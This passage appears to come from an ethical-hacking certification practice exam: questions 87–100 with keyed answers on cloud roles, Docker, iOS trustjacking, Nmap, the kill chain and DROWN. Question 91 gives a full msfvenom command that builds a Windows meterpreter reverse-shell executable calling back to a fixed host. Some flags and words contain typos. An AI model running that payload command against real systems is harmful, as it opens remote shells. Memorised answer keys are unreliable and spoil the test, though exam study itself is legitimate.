joe works as an it administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet
connectivity and transport services between the organization and the cloud service provider, in the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above
scenario?
A. Cloud booker
B. Cloud consumer
C. Cloud carrier
D. Cloud auditor

Answer 87

C. Cloud carrier

Question 88

Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing this. James, a professional hacker, targets Emily and her
acquaintances, conducts a location search to detect their geolocation by using an automated tool, and gathers information to perform other sophisticated attacks. What is the tool employed by James in the above
scenario?
A. ophcrack
B. Hootsuite
C. VisualRoute
D. HULK

Answer 88

B. Hootsuite

Question 89

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker
objects, such as containers, volumes. Images, and networks. What is the component of the Docker architecture used by Annie in the above scenario?
A. Docker client
B. Docker objects
C. Docker daemon
D. Docker registries

Answer 89

C. Docker daemon

Question 90

Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes WI-FI sync on the computer so that
the device could continue communication with that computer even after being physically disconnected. Now, Clark gains access to Steven’s iPhone through the infected computer and is able to monitor and read all of
Steven’s activity on the iPhone, even after the device is out of the communication zone.
Which of the following attacks is performed by Clark in above scenario?
A. IOS trustjacking
B. lOS Jailbreaking
C. Exploiting SS7 vulnerability
D. Man-in-the-disk attack

Answer 90

A. IOS trustjacking

Question 91

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Answer 91

C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Question 92

which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the
hacker?
A. intrusion detection system
B. Honeypot
C. Botnet
D Firewall

Answer 92

B. Honeypot

Question 93

Consider the following Nmap output:
Starting Nmap X.XX (http://nmap.org) at XXX.XX..XX XX:XX EDT
Nmap scan report for 192.168.1.42 Host is up (0.00023s latency)
Not show: 932 filtered ports, 56 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https
465/tcp open smtps
587/tcp open submission
993/tcp open imaps
995/tcp open pop3s
nmap done: 1 IP address (1 host up) scanned in 3.90 seconds.
what command-line parameter could you use to determine the type and version number of the web server?
A. -sv
B. -Pn
C. -V
D. -ss

Answer 93

A. -sv

Question 94

what are common files on a web server that can be misconfigured and provide useful Information for a hacker such as verbose error messages?
A. httpd.conf
B. administration.config
C. idq.dll
D. php.ini

Answer 94

D. php.ini

Question 95

infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?
A. Reconnaissance
B. Maintaining access
C. Scanning
D. Gaining access

Answer 95

D. Gaining access

Question 96

which type of virus can change its own code and then cipher itself multiple times as it replicates?
A. Stealth virus
B. Tunneling virus
C. Cavity virus
D. Encryption virus

Answer 96

A. Stealth virus

Question 97

You are a penetration tester working to test the user awareness of the employees of the client xyz.
You harvested two employees’ emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?
A. Reconnaissance
B. Command and control
C. Weaponization
D. Exploitation

Answer 97

C. Weaponization

Question 98

Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSlv2 connections, and the same private key certificate is used on a different server that allows SSLv2
connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.
Which of the following attacks can be performed by exploiting the above vulnerability?
A. DROWN attack
B. Padding oracle attack
C. Side-channel attack
D. DUHK attack

Answer 98

A. DROWN attack

Question 99

John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker Installed a scanner on a machine belonging to one of the
vktims and scanned several machines on the same network to Identify vulnerabilities to perform further exploitation. What is the type of vulnerability assessment tool employed by John in the above scenario?
A. Proxy scanner
B. Agent-based scanner
C. Network-based scanner
D. Cluster scanner

Answer 99

B. Agent-based scanner

Question 100

Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection.
Identify the behavior of the adversary In the above scenario.
A. use of command-line interface
B. Data staging
C. Unspecified proxy activities
D. Use of DNS tunneling

Answer 100

C. Unspecified proxy activities